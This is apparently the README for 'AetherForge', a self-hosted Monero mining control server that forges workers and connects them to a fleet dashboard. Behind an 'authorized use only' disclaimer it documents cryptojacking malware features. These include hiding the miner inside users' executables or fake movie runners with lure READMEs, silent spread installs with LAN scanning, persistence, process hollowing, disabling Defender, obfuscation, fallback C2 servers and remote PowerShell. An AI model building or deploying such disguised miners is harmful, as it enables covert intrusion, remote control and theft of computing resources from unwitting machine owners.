23 KiB
AetherForge
Private Monero fleet command deck for machines you own.
One control PC (Windows recommended for forging). One dashboard. Forge workers for Windows, Linux, and macOS — fuse inside a movie package or ship a Spread Kit for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
┌─────────────────────────────────────────────────────────────┐
│ CALIBRATE (Settings) pool · wallet · users · alerts │
│ │ │
│ ▼ │
│ FORGE (Builder) worker .exe · prep fusion · movies │
│ │ │
│ ├──► Prep fusion embed worker in your prep.exe │
│ ├──► Movie fusion locked media + runner + ZIP │
│ │ │
│ ▼ │
│ WORKER PC RandomX on CPU · WebSocket home │
│ │ │
│ ▼ │
│ COMMAND DECK live stats · 3D map · remote ops │
└─────────────────────────────────────────────────────────────┘
What This Is
AetherForge is a self-hosted mining control plane — not a cloud pool UI, not a generic miner wrapper.
| Layer | What it does |
|---|---|
| Control server | Go backend on port 8989 — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
| Command deck | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
| Worker agent | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
| Fusion (prep) | Bundler — hides the worker inside your uploaded prep.exe, same icon, single deliverable |
| Fusion (movie) | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
| Forge | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
You configure defaults once in Calibrate. You forge once per machine (or batch movies) in Forge. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
What You Get
Command Deck (Dashboard)
- Sign-in gate — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
- Live fleet hashrate, CPU/RAM gauges, share feed
- Fleet Health Score — weighted 0–100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
- Contribution Map — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded
- Underperformer list — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards
- OS / Arch Breakdown — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
- LAN Group View — agents grouped by /24 subnet; online count and aggregated hashrate per segment
- Simple / Advanced toggle — hides charts, logs, and AI panels by default; persisted across sessions
- XMR price — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card
- Earnings Estimator — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available
- 3D fleet topology map — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes
- Per-agent cards with pause / resume / stop / uninstall
- Fleet alerts (offline, hashrate drop, rejection spikes)
- Pool connection status and AI activity panel (Advanced mode)
- Optional matrix stream overlay (Advanced mode)
Fleet Roster (Agents)
- Every connected worker — hostname, IP, cores, memory, uptime
- Compact rows — list shows name, status, hashrate, and IP; click a row to expand inline details and compact remote actions (same expand-on-click pattern on Command Deck agent cards)
- Hashrate history charts
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload (disabled while agent is offline — intentional; commands require a live WebSocket)
- Agent log viewer — Fetch Log (
get_logcommand) when file logging is enabled; AI autonomy can also push log tails via theupload_logtool report (no separate log-ingest REST API) - Fleet filters, bulk commands, notes/tags
Forge (Miner Builder)
- Target OS — Windows, Linux, macOS, or Universal (all platforms in one ZIP)
- Spread Kit — non-fusion ZIP with
Deploy.bat/deploy.sh/Start.command→ silent--spread-install - Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
- Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL
- Prep fusion — upload
prep.exe, run order (parallel/prep_first/worker_first), Garble obfuscation (all platforms), Authenticode /osslsigncodesigning - Movie fusion — upload
.mp4/.mkv/.mov(or any supported file); two delivery modes (see below) - Batch forge — queue many files; progress bar; one ZIP per file — Cancel Batch kills the in-flight server compile immediately via cancel token
- Kill Build button — single-build cancel that terminates the server-side compiler mid-flight
- Windows icon disguise — Fusion/forge can patch PE icons via go-winres.
devrun.batinstalls it to PATH when missing; the builder also invokes it viago run github.com/tc-hib/go-winres(vendored inserver/go.mod). If go-winres is absent, forge still succeeds but icon/version disguise is skipped. - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- Backup pools (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
- Backup server URLs (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
- Universal movie fusion — one ZIP per title with per-OS runners; macOS gets a
.appbundle (LSUIElement)
Cross-platform workers
| OS | Persistence | Install base |
|---|---|---|
| Windows | Registry + scheduled task | %LOCALAPPDATA% (configurable) |
| Linux | systemd user service | XDG data home |
| macOS | LaunchAgent | ~/Library/Application Support |
Agents report platform, arch, and os_version on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
Mesh P2P: Enable Mesh Networking in Forge to bake peer routing. The server forge pipeline adds -tags p2p automatically. Manual go build of agent/ without Forge must pass -tags p2p when mesh is enabled — default builds use a no-op stub (agent/client/mesh_p2p_stub.go).
Requirements: Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
Movie Fusion (detailed)
Use this when you want a named title folder with a runner the user actually launches — not a playable shortcut on the “movie” file.
| Mode | Best for | What you get |
|---|---|---|
| Embedded (Option A) | Clips / smaller files (~500MB and under) | One disguised file (e.g. Title.mkv.exe) with movie + hidden worker inside |
| Paired (Option B) | Full-length films (up to 2 GiB upload) | Per-title folder under fusion-deliverables/<Title>/ |
Paired layout (example Vacation):
fusion-deliverables/Vacation/
├── README.txt ← tells user to run the runner for “enhanced 4K”
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner only
├── Vacation.mkv.cmdata ← encrypted media (hidden)
└── Vacation.mkv.lnk ← shortcut with --locked (MessageBox: use runner)
- Clicking the movie shortcut does not play — it prompts for
*runner.exe* - Primary download after forge:
Title-package.zip(README + locked media + runner; no separate miner in the ZIP) - Agent is only inside the runner — not a loose miner file in the package
Upload limits: prep / video uploads capped at 2 GiB (FusionMaxUploadBytes).
Dashboard navigation
| Nav label | Route | Component |
|---|---|---|
| Command Deck | /dashboard |
DashboardPage |
| Fleet Roster | /agents |
AgentsPage |
| Forge | /forge |
BuilderPage |
| Crucible | /crucible |
CruciblePage |
| Builds | /builds |
BuildManagerPage |
| Field Guide | /guide |
GuidePage |
| Calibrate | /settings |
SettingsPage |
There is no separate CalibratePage — Calibrate is the nav label for the settings route.
Calibrate (Settings)
- Server port, public URL, data retention, max agents
- Default pool + wallet for new forge forms
- Users — add/change API accounts (first-run password auto-generated and printed to console)
- Alert thresholds + Telegram / email notifications
- Open Windows Firewall for dashboard port on startup
Under the Hood
- Stratum proxy — workers submit through your server; one upstream pool connection per wallet/host;
payment_idappended to login when set in Calibrate - Stratum fallback — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects
- WebSocket hub — agents and dashboard get live stats, jobs, alerts
- Fleet secret — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
- Hashrate reporting — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick
- Process guard — Unix
pgrepfix: correctly matches only the agent binary (no false-positive self-kill) - ARP-first subnet scan — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 5–20
- Ollama AI autonomy (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call
/api/v1/agent/decide(fleet-secret gated) - Garble obfuscation — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when
garbleis on PATH - Cross-platform code signing — uses Windows
signtoolon Windows forge hosts; falls back toosslsigncodeon Linux/macOS - Server-side forge cancel — each build is tracked by a UUID cancel token;
DELETE /api/v1/builder/cancel/{token}kills the compiler process immediately - Retention jobs — auto-purge old hashrate samples and stale build artifacts
- Static SPA — built UI served from
server/webroot/(copied fromserver/web/distbydevrun.bat)
Quick Start
Requirements: Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
-
Double-click
devrun.batin the project root.
It installs Go/Node if missing, builds the dashboard, compilesbin\miner-server.exe, copies web assets toserver\webroot\, and starts the server. -
Browser opens http://localhost:8989
-
Sign in when prompted — on first run, check the console window for your generated admin password
-
Calibrate → set your Monero wallet + pool + (optional) public URL for remote workers
-
Forge → worker name + server URL (
http://YOUR-LAN-IP:8989or your tunnel URL) → Forge Installer
For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode) -
Run the forged
.exeonce on each worker PC (or distribute movie ZIP + runner per your policy) -
Watch them appear on Command Deck and Fleet Roster
First-run login
On the very first launch the server generates a random admin password and prints it once to the console:
=== First Run ===
Dashboard login: admin / <random-password>
Save this — it is not shown again. Change it in Calibrate → Users.
=================
Subsequent runs load credentials from data/users.json (bcrypt hashes only — cost 12). Legacy plain-text entries from older installs are auto-migrated to bcrypt on startup and on next successful login via checkPassword in server/internal/api/router.go. Change or add users under Calibrate → Users.
API auth summary
| Surface | Auth mechanism |
|---|---|
/api/v1/* REST |
HTTP Basic Auth (Authorization: Basic <base64>) |
/ws/dashboard |
?token=<base64-user:pass> query parameter |
/ws/agent |
Fleet-secret auth JSON frame on connect |
/api/v1/agent/* |
X-Fleet-Secret: <secret> header (agents only) |
Static SPA + /api/v1/health |
Open (no auth) |
Output locations
| Artifact | Where |
|---|---|
| Fused / forged exe (primary) | Project root — e.g. prep.exe or install-worker.exe |
| Movie fusion per title | fusion-deliverables/<Title>/ + Title-package.zip |
| Archive copy | data\builds\{build-id}\ |
| Uninstall script | Same build folder + download API |
| Server config | data\config.json |
| Fleet database | data\miner.db |
| Dashboard build (source) | server\web\dist\ |
| Dashboard build (served) | server\webroot\ |
Network Deployment
| Scenario | Server URL in Forge |
|---|---|
| Same LAN | http://192.168.x.x:8989 |
| Cloudflare / reverse tunnel | https://your-domain.com |
Workers auto-convert http(s):// → ws(s)://.../ws/agent. Workers only need outbound access to your control URL — not inbound ports on each worker.
Do not expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control.
Project Layout
crypto miner/
├── devrun.bat ← one-click build + launch (dev)
├── run.bat / start.bat ← aliases → devrun.bat (project-root markers)
├── test.bat ← full suite → scripts/test-suite.ps1
├── LAUNCH.bat ← portable/USB build + tunnel (see usb/)
├── scripts/
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
│ └── smoke-test.ps1 ← API matrix B-01–B-10 (server must be running)
├── bin/
│ └── miner-server.exe
├── data/ ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
├── server/
│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root
│ ├── webroot/ ← production UI (copied from web/dist)
│ ├── web/ ← React command deck (Vite + TypeScript)
│ └── internal/
│ ├── api/ ← HTTP routes, WebSocket, auth
│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build)
├── agent/ ← worker source (Forge compiles per OS)
├── fusion/ ← prep + movie runner (builder copies into build dir)
├── tests/README.md ← test phases, E2E env vars
├── PROBLEMS.md ← known issues audit (severity-ranked)
└── README.md ← you are here
API Surface (summary)
| Method | Path | Purpose |
|---|---|---|
| GET | /api/v1/health |
Health check (no auth) |
| GET/PUT | /api/v1/config |
Calibrate settings |
| POST | /api/v1/builder/build |
Forge worker / fusion (multipart) |
| GET | /api/v1/builds |
List builds |
| GET | /api/v1/builds/{id}/download |
Download forged exe |
| GET | /api/v1/builds/{id}/artifact/{name} |
Extra artifacts (ZIP, README, …) |
| GET | /api/v1/agents |
Fleet list |
| POST | /api/v1/agents/{id}/command |
Remote action (pause, powershell, …) |
| POST | /api/v1/agents/bulk-command |
Send same command to multiple agents |
| GET | /api/v1/alerts |
Active fleet alerts |
| GET | /api/v1/pools/status |
Stratum pool connection states |
| GET | /api/v1/earnings/estimate |
XMR/day estimate (or live SupportXMR data) |
| GET | /api/v1/market/xmr |
XMR/USD spot price (CoinGecko, 10 min cache) |
| WS | /ws/agent |
Worker connection |
| WS | /ws/dashboard?token=<base64> |
Live dashboard feed (token = base64 of user:pass) |
Full route list: server/internal/api/router.go
Manual Build (if you skip devrun.bat)
cd server\web
npm install
npm run build
cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\
cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .
cd ..
bin\miner-server.exe -port 8989 -data .\data
Open http://localhost:8989 and sign in with your configured users.
Run the test suite
Double-click test.bat (or scripts\test-suite.ps1) to run all Go, frontend, build, and E2E smoke tests. See tests/README.md for details.
With the control server already running on port 8989, run scripts\smoke-test.ps1 for the REST API matrix (B-01–B-10). Set AETHERFORGE_E2E_USER / AETHERFORGE_E2E_PASS if your data\users.json is not the default testuser / testpass.
Dashboard dev server
cd server\web
npm run dev
Vite proxies /api and /ws to localhost:8989. Run miner-server.exe separately.
Tech stack (dashboard)
| Package | Version policy |
|---|---|
| React | 18.x |
@react-three/fiber |
8.x (must match React 18 — v9+ needs React 19) |
@react-three/drei |
9.x |
| Vite | 5.x |
Important: @react-three/fiber v9 / drei v10 require React 19. With React 18 the app fails to mount (blank black screen, console: Cannot read properties of undefined (reading 'S')). package.json pins compatible versions; run npm install after pulling.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
| Black screen, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for localhost:8989; ensure npm install + npm run build in server/web; copy dist → webroot; restart server |
| Login loop / 401 | Wrong password or missing users.json |
Check the server console for the first-run password; reset by deleting data/users.json and restarting |
| Dashboard builds but server shows placeholder HTML | Missing server/webroot/index.html |
Run devrun.bat or copy server/web/dist/* → server/webroot/ |
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |
Known Issues
See PROBLEMS.md for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet.
⚠ LEGAL & FAIR USE WARNING
Read this before you deploy anything.
Authorized use only
AetherForge is designed and intended for computers and networks you own or explicitly administer — your home lab, your office fleet, machines where you have authority to install software and consume CPU resources.
By using this software you agree that:
- You will only deploy workers on systems you control or have written permission to manage.
- You will not install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
- You will not use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
- You are solely responsible for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.
What this is NOT
- Not a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
- Not malware — but misuse can make it indistinguishable from malware under law and antivirus heuristics. Freshly compiled miners and fused executables will trigger Defender and AV products on unmanaged systems.
- Not anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you.
Pool & earnings
- Use a valid Monero wallet address you control.
- Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool.
- This project does not guarantee profitability, uptime, or pool compatibility.
Security responsibility
data/users.jsonstores bcrypt password hashes, not plaintext. First-run generates a random admin password (shown once in the console). Any legacy plain-text values are re-hashed on load/login. Restrict who can reach the dashboard — authenticated users can manage accounts viaPOST /users.- Protect the dashboard with strong user passwords and network isolation. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
- Remote command features (
powershell,exec, file upload) are full control of a worker. Treat your control server like root access to every machine in the fleet. - Movie fusion and prep fusion are for authorized distribution scenarios only — misleading packaging is misuse.
- Code signing, Defender exclusions, and network segmentation on your infrastructure are your job.
Disclaimer
THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND CONTRIBUTORS ARE NOT LIABLE FOR ANY DAMAGES, LEGAL ACTION, POOL BANS, DATA LOSS, HARDWARE DAMAGE, OR MISUSE BY YOU OR ANY THIRD PARTY.
If you cannot accept these terms, do not run AetherForge.
License
Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via git.gammaspectra.live/P2Pool/go-randomx.
AetherForge — LAN MINING COMMAND
Calibrate · Forge · Deploy · Command